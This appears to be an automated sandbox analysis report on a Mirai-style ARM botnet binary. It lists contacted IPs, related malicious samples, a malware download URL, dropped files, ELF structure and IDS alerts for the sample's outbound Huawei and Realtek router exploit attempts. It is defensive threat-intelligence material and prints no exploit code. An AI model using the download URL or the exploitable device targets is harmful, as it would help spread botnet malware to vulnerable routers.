129.65.96.244	unknown	United States	7960	CALPOLY-NET-ENSUS	false
157.113.180.41	unknown	Japan	9993	CTC-ODCITOCHUTechno-SolutionsCorporationJP	false
66.155.22.133	unknown	Canada	13768	COGECO-PEER1CA	false
197.77.91.153	unknown	South Africa	16637	MTNNS-ASZA	false
5.213.249.1	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
81.245.54.62	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
88.221.84.234	unknown	European Union	20940	AKAMAI-ASN1EU	false
197.90.103.216	unknown	South Africa	10474	OPTINETZA	false
135.138.253.170	unknown	United States	14962	NCR-252US	true
176.247.177.252	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
88.147.149.200	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
41.94.152.232	unknown	Mozambique	327700	MoRENetMZ	false
166.36.205.191	unknown	United States	3372	MCI-ASNUS	false
126.9.225.46	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
88.39.138.78	unknown	Italy	3269	ASN-IBSNAZIT	false
109.20.3.201	unknown	France	15557	LDCOMNETFR	false
70.156.220.239	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
108.8.118.117	unknown	United States	701	UUNETUS	false
157.202.152.60	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
157.237.137.71	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
130.89.105.172	unknown	Netherlands	1133	UTWENTE-ASUniversityTwenteNL	true
60.70.3.55	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
96.220.250.81	unknown	United States	7922	COMCAST-7922US	false
120.26.27.100	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
112.113.10.61	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
47.220.244.173	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
144.231.106.158	unknown	United States	6157	SPRINTLINK-HOSTINGUS	false
157.161.100.20	unknown	Switzerland	6772	IMPNET-ASCH	false
88.224.248.190	unknown	Turkey	9121	TTNETTR	false
63.149.53.202	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	true
223.73.216.142	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
57.81.71.125	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
88.235.1.193	unknown	Turkey	9121	TTNETTR	false
88.16.66.67	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
185.121.200.5	unknown	Croatia (LOCAL Name: Hrvatska)	44377	MTNET-ASMAGIC-NETHR	false
197.128.68.54	unknown	Morocco	6713	IAM-ASMA	false
117.162.19.94	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
165.210.135.124	unknown	Cameroon	15964	CAMNET-ASCM	false
95.2.92.128	unknown	Turkey	9121	TTNETTR	false
197.199.66.57	unknown	Egypt	36992	ETISALAT-MISREG	false
202.146.161.57	unknown	China	24212	JASNET-AS-IDPTJASNITATELEKOMINDOID	false
113.103.214.181	unknown	China	58466	CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN	false
147.3.82.110	unknown	United States	10753	LVLT-10753US	false
88.119.188.149	unknown	Lithuania	8764	TELIA-LIETUVALT	false
193.110.9.0	unknown	Latvia	21061	TELEKOMUNIKACIJU-GRUPALV	false
100.221.52.24	unknown	United States	21928	T-MOBILE-AS21928US	false
78.80.119.15	unknown	Czech Republic	13036	TMOBILE-CZ	false
175.255.209.119	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
174.173.238.249	unknown	United States	7922	COMCAST-7922US	false
54.173.232.219	unknown	United States	14618	AMAZON-AESUS	false
196.38.28.155	unknown	South Africa	3741	ISZA	false
197.158.252.136	unknown	Seychelles	37343	AirtelSeychellesSC	false
95.142.69.118	unknown	Germany	51483	SASGCecinastr70DE	false
80.125.118.26	unknown	France	15557	LDCOMNETFR	false
23.50.126.19	unknown	United States	16625	AKAMAI-ASUS	false
48.250.42.75	unknown	United States	2686	ATGS-MMD-ASUS	false
88.28.50.53	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
58.186.168.57	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
95.37.109.176	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
42.119.93.45	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
41.201.35.221	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.37.64.90	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
133.193.160.13	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
203.117.119.28	unknown	Singapore	4657	STARHUB-INTERNETStarHubLtdSG	true
112.3.221.99	unknown	China	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
95.77.35.107	unknown	Romania	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
157.205.128.120	unknown	Japan	17514	AICSOtsukaCorpJP	false
128.37.79.13	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
88.48.144.186	unknown	Italy	3269	ASN-IBSNAZIT	false
95.197.231.151	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
197.16.24.159	unknown	Tunisia	37693	TUNISIANATN	false
150.126.245.222	unknown	United States	3955	WANG-US-1US	false
132.34.228.144	unknown	United States	385	AFCONC-BLOCK1-ASUS	true
158.250.44.181	unknown	Russian Federation	2683	RADIO-MSURADIO-MSUEU	false
18.77.9.53	unknown	United States	3	MIT-GATEWAYSUS	false
197.24.219.34	unknown	Tunisia	37693	TUNISIANATN	false
92.139.248.226	unknown	France	3215	FranceTelecom-OrangeFR	false
101.145.201.81	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
41.60.103.183	unknown	Mauritius	30969	ZOL-ASGB	false
112.56.158.215	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
112.0.65.155	unknown	China	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
157.230.24.181	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
66.148.110.109	unknown	United States	54098	LIONLINK-NETWORKSUS	true
4.62.101.190	unknown	United States	3356	LEVEL3US	false
14.86.4.81	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.90.103.216	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
81.118.216.50	robinbot	Get hash	malicious	Mirai	Browse
41.252.11.24	p88ovFT5K6.elf	Get hash	malicious	Mirai	Browse
41.252.11.24	ftp	Get hash	malicious	Mirai	Browse
197.77.91.153	qxIc8ELWN1.elf	Get hash	malicious	Mirai	Browse
5.213.249.1	Like3EYCgS	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
vector.mineheaven.org	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	15.235.203.214
vector.mineheaven.org	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	15.235.203.214

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DTAGInternetserviceprovideroperationsDE	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	88.128.78.63
	92.249.48.47-skid.ppc-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	91.56.131.7
	92.249.48.47-skid.arm7-2024-07-20T09_04_19.elf	Get hash	malicious	Mirai, Moobot	Browse	80.140.152.32
	92.249.48.47-skid.x86_64-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	84.149.208.94
	92.249.48.47-skid.x86-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	93.217.45.170
	92.249.48.47-skid.sh4-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	217.248.123.143
	92.249.48.47-skid.mpsl-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	217.237.43.182
	92.249.48.47-skid.mips-2024-07-20T09_04_16.elf	Get hash	malicious	Mirai, Moobot	Browse	217.254.232.84
	appdrivesound.exe	Get hash	malicious	SystemBC	Browse	80.150.6.143
	Qa5qvgWyUn.elf	Get hash	malicious	Mirai	Browse	87.139.190.213
UMAINE-SYS-ASUS	jew.mpsl.elf	Get hash	malicious	Mirai	Browse	209.222.208.237
	arm7.elf	Get hash	malicious	Mirai	Browse	130.111.35.128
	jew.mpsl.elf	Get hash	malicious	Unknown	Browse	169.246.49.73
	DRKi1Olgjp.elf	Get hash	malicious	Mirai, Moobot	Browse	169.246.253.202
	CB8drrx7FQ.elf	Get hash	malicious	Mirai, Moobot	Browse	169.247.166.1
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	130.111.69.72
	oWWFhzvYZa.elf	Get hash	malicious	Mirai	Browse	169.246.111.84
	23cu4ulxOg.elf	Get hash	malicious	Mirai	Browse	169.246.49.33
	Gb5Zd5Ird3.elf	Get hash	malicious	Mirai	Browse	169.247.86.9
	at0jsDxjXS.elf	Get hash	malicious	Unknown	Browse	169.245.104.158
TSF-IP-CORETeliaFinlandOyjEU	92.249.48.47-skid.mips-2024-07-20T09_04_16.elf	Get hash	malicious	Mirai, Moobot	Browse	194.253.83.221
	mips.elf	Get hash	malicious	Mirai	Browse	139.157.40.50
	Vyuhx7175I.elf	Get hash	malicious	Mirai	Browse	193.208.200.40
	1yBFfYi5Do.elf	Get hash	malicious	Unknown	Browse	80.220.6.100
	sora.mips.elf	Get hash	malicious	Mirai	Browse	84.249.49.214
	6Qb1vfdujy.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	157.202.188.20
	D8OieODwpn.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	157.202.140.63
	5Ghgetzec2.elf	Get hash	malicious	Mirai	Browse	194.142.106.16
	bolonetwork.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	157.202.127.76
PROXADFR	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	88.123.3.31
	92.249.48.47-skid.arm7-2024-07-20T09_04_19.elf	Get hash	malicious	Mirai, Moobot	Browse	88.121.13.21
	92.249.48.47-skid.x86_64-2024-07-20T09_04_18.elf	Get hash	malicious	Mirai, Moobot	Browse	88.189.0.199
	92.249.48.47-skid.mpsl-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	82.229.234.129
	92.249.48.47-skid.m68k-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	78.194.107.44
	Qa5qvgWyUn.elf	Get hash	malicious	Mirai	Browse	78.194.144.61
	LRMAuF4TbF.elf	Get hash	malicious	Mirai	Browse	78.236.109.157
	l5EsscvvPL.elf	Get hash	malicious	Mirai	Browse	78.244.124.155
	MCiOZ89mRZ.elf	Get hash	malicious	Mirai	Browse	88.177.49.35
	x86.elf	Get hash	malicious	Mirai	Browse	91.175.219.194

Process:	/tmp/U6YcZ2TLtT.elf
File Type:	data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.479143374026009
Encrypted:	false
SSDEEP:	3:TgnDQuqpWOJn:TgnUuQ
MD5:	69FC17BA165D2968AE639CD50874DBC9
SHA1:	87455FCBFAF1EF98BF6A165D5507B9D29DD7BCCC
SHA-256:	A4ABFD29C8B08CD9EDF0196E7FC9BB7D02622FC438ACC98015174CFD44EDC3EB
SHA-512:	7A546C85EC56FF4EC931636460908D09BB59C8411D7318C4FE76D90A732D587165AAF7C155DC83E92D11B0A3F8508E03D16C28EDE0B408DE67A98B8D320F0F30
Malicious:	false
Reputation:	low
Preview:	/tmp/U6YcZ2TLtT.elf./tmp/owfrxsjybl

/tmp/qemu-open.H7aZov (deleted)

Download File

Process:	/tmp/U6YcZ2TLtT.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TgnDl:Tgn5
MD5:	5DC23ECDBB467FE4845C598B34CE52C3
SHA1:	DCE22F5D556619CC632373B70470FEADF2B08BCA
SHA-256:	729E63F062C42F573B0A95654DC425DBF0AB50BCC23C4CD0CA6F6AC10E7FBBD4
SHA-512:	58BE237C967B7FF6EEA96ABCD449F8FDDB0AD6BCB1DEB28293003521B2C39818CC89FB3495C7B4B2498D4AD4660493D20DC20A061457A2272CB838C77D2BA45F
Malicious:	false
Reputation:	low
Preview:	/tmp/U6YcZ2TLtT.elf.

/tmp/qemu-open.tpYdwt (deleted)

Download File

Process:	/tmp/U6YcZ2TLtT.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TgnDl:Tgn5
MD5:	5DC23ECDBB467FE4845C598B34CE52C3
SHA1:	DCE22F5D556619CC632373B70470FEADF2B08BCA
SHA-256:	729E63F062C42F573B0A95654DC425DBF0AB50BCC23C4CD0CA6F6AC10E7FBBD4
SHA-512:	58BE237C967B7FF6EEA96ABCD449F8FDDB0AD6BCB1DEB28293003521B2C39818CC89FB3495C7B4B2498D4AD4660493D20DC20A061457A2272CB838C77D2BA45F
Malicious:	false
Reputation:	low
Preview:	/tmp/U6YcZ2TLtT.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.749016749543613
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	U6YcZ2TLtT.elf
File size:	160'960 bytes
MD5:	05281ffd97f99c88de131a2e54fc0f07
SHA1:	f1b1c4c9712a7c164647f2a4c678e61c6b14bbda
SHA256:	424faa1cc3ca52161e53ab0b671a052dfbdad37251e589caf3bb30f351154c28
SHA512:	6eb427bcaecbd5abc7df45bf2a5b756bcf4c9420a5d6b22f3dd345bdb2da3a82bb9edf8831df8fdf247fa884465747a2d6f3ed39c7880e47c5145e161f87d804
SSDEEP:	3072:0hRo6HkhKq+N0UuycGXZy01+64ccsPvRjr4UoHP8izp:SR5u2Fk64ctPvR34xHP8C
TLSH:	12F31945FC504B22C6D612BBFB5E428D3B2A57E8D3EE71039D216F24378A85B0E37646
File Content Preview:	.ELF...a..........(.........4...0s......4. ...(......................)...)...............)...)...)..4I..............Q.td..................................-...L."....{..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	160560
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x1eee8	0x0	0x6	AX	16
.fini	PROGBITS	0x26f98	0x1ef98	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x26fac	0x1efac	0x3a0c	0x0	0x2	A	4
.ctors	PROGBITS	0x329bc	0x229bc	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x329c8	0x229c8	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x329e0	0x229e0	0x4910	0x0	0x3	WA	32
.bss	NOBITS	0x372f0	0x272f0	0xc794	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x272f0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x229b8	0x229b8	6.1751	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x229bc	0x329bc	0x329bc	0x4934	0x110c8	0.4102	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/20/24-23:01:13.329204	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40100	52869	192.168.2.14	170.123.158.68
07/20/24-23:01:19.231228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59228	37215	192.168.2.14	41.133.187.180
07/20/24-23:01:29.177783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33776	52869	192.168.2.14	105.221.149.154
07/20/24-23:01:02.410932	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52068	37215	192.168.2.14	157.245.238.163
07/20/24-23:01:11.456952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34732	37215	192.168.2.14	41.189.47.250
07/20/24-23:01:05.892501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33168	37215	192.168.2.14	41.120.237.5
07/20/24-23:01:19.221962	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44188	37215	192.168.2.14	119.151.177.108
07/20/24-23:01:28.386042	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55342	37215	192.168.2.14	133.108.198.161
07/20/24-23:01:07.683360	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42210	37215	192.168.2.14	41.199.112.223
07/20/24-23:01:25.026082	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59244	52869	192.168.2.14	176.163.228.117
07/20/24-23:01:32.304220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57032	52869	192.168.2.14	157.6.186.252
07/20/24-23:01:07.668267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54126	37215	192.168.2.14	157.4.255.227
07/20/24-23:01:14.397316	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52822	37215	192.168.2.14	197.42.104.185
07/20/24-23:01:14.399761	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40244	37215	192.168.2.14	197.22.117.180
07/20/24-23:01:33.037346	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52652	37215	192.168.2.14	97.0.242.117
07/20/24-23:01:25.046669	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59386	52869	192.168.2.14	98.8.145.55
07/20/24-23:01:11.454417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51980	37215	192.168.2.14	50.38.227.2
07/20/24-23:01:14.406708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44946	37215	192.168.2.14	13.209.236.20
07/20/24-23:01:07.680629	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44602	37215	192.168.2.14	197.12.162.172
07/20/24-23:01:02.441202	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58446	37215	192.168.2.14	197.177.30.83
07/20/24-23:01:14.440842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52294	37215	192.168.2.14	157.207.30.18
07/20/24-23:01:29.508708	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36212	52869	192.168.2.14	139.231.65.139
07/20/24-23:01:34.899681	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33750	52869	192.168.2.14	58.133.29.249
07/20/24-23:01:02.416600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33058	37215	192.168.2.14	197.88.129.45
07/20/24-23:01:37.199306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60522	37215	192.168.2.14	197.88.167.36
07/20/24-23:01:19.337916	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38148	37215	192.168.2.14	19.177.37.36
07/20/24-23:01:29.170915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33948	52869	192.168.2.14	107.169.50.209
07/20/24-23:01:29.707353	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47810	52869	192.168.2.14	146.102.177.163
07/20/24-23:01:22.774812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37864	37215	192.168.2.14	41.153.238.151
07/20/24-23:01:34.690310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53092	52869	192.168.2.14	138.235.159.241
07/20/24-23:01:24.624362	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47004	52869	192.168.2.14	27.8.13.50
07/20/24-23:01:25.289824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39792	37215	192.168.2.14	61.120.214.221
07/20/24-23:01:33.050087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49048	37215	192.168.2.14	41.14.113.103
07/20/24-23:01:24.446551	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36354	52869	192.168.2.14	185.142.167.93
07/20/24-23:01:13.330897	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43106	52869	192.168.2.14	157.159.16.125
07/20/24-23:01:19.227537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49074	37215	192.168.2.14	157.27.129.166
07/20/24-23:01:13.333560	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43006	52869	192.168.2.14	74.231.66.1
07/20/24-23:01:13.330714	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54148	52869	192.168.2.14	181.146.224.142
07/20/24-23:01:33.372322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35798	52869	192.168.2.14	175.5.21.0
07/20/24-23:01:19.231228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46576	37215	192.168.2.14	197.242.103.0
07/20/24-23:01:34.972618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36140	52869	192.168.2.14	110.189.251.29
07/20/24-23:01:14.398477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43578	37215	192.168.2.14	157.227.1.44
07/20/24-23:01:22.762116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47500	37215	192.168.2.14	41.206.47.196
07/20/24-23:01:11.472602	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34188	37215	192.168.2.14	41.92.243.137
07/20/24-23:01:23.032933	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42106	52869	192.168.2.14	208.42.117.191
07/20/24-23:01:32.133536	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55060	52869	192.168.2.14	157.172.195.68
07/20/24-23:01:13.331209	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37618	52869	192.168.2.14	182.207.82.188
07/20/24-23:01:23.051335	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32834	52869	192.168.2.14	170.133.86.186
07/20/24-23:01:11.485692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50006	37215	192.168.2.14	95.92.231.183
07/20/24-23:01:14.487012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60582	37215	192.168.2.14	197.252.224.36
07/20/24-23:01:34.945581	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57322	52869	192.168.2.14	131.109.219.124
07/20/24-23:01:34.813756	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46426	52869	192.168.2.14	142.216.142.217
07/20/24-23:01:29.169782	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35300	52869	192.168.2.14	93.150.15.52
07/20/24-23:01:29.670786	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55962	52869	192.168.2.14	142.63.99.254
07/20/24-23:01:14.407392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35672	37215	192.168.2.14	197.230.179.116
07/20/24-23:01:25.284910	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40864	37215	192.168.2.14	157.240.191.4
07/20/24-23:01:02.412965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59774	37215	192.168.2.14	41.79.186.119
07/20/24-23:01:30.710896	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34004	52869	192.168.2.14	220.47.15.117
07/20/24-23:01:11.467355	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60952	37215	192.168.2.14	197.27.29.207
07/20/24-23:01:34.899596	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58332	52869	192.168.2.14	1.119.230.113
07/20/24-23:01:33.100578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54866	37215	192.168.2.14	197.190.77.121
07/20/24-23:01:02.416600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57848	37215	192.168.2.14	139.212.201.39
07/20/24-23:01:29.169806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46494	52869	192.168.2.14	193.152.255.240
07/20/24-23:01:34.952293	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33642	52869	192.168.2.14	133.211.191.92
07/20/24-23:01:07.674222	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52500	37215	192.168.2.14	197.74.37.195
07/20/24-23:01:25.283565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41884	37215	192.168.2.14	197.249.170.193
07/20/24-23:01:37.199306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42420	37215	192.168.2.14	197.8.221.215
07/20/24-23:01:25.301172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40870	37215	192.168.2.14	197.180.182.216
07/20/24-23:01:37.122448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55026	37215	192.168.2.14	27.56.80.118
07/20/24-23:01:14.428293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57644	37215	192.168.2.14	197.179.161.50
07/20/24-23:01:33.038711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55234	37215	192.168.2.14	157.36.174.199
07/20/24-23:01:34.928965	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43928	52869	192.168.2.14	74.8.125.187
07/20/24-23:01:11.460861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45366	37215	192.168.2.14	81.216.188.40
07/20/24-23:01:22.786757	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52560	37215	192.168.2.14	41.94.199.1
07/20/24-23:01:33.100578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49520	37215	192.168.2.14	41.218.46.143
07/20/24-23:01:19.220180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59928	37215	192.168.2.14	157.145.245.15
07/20/24-23:01:05.896134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35360	37215	192.168.2.14	41.116.147.110
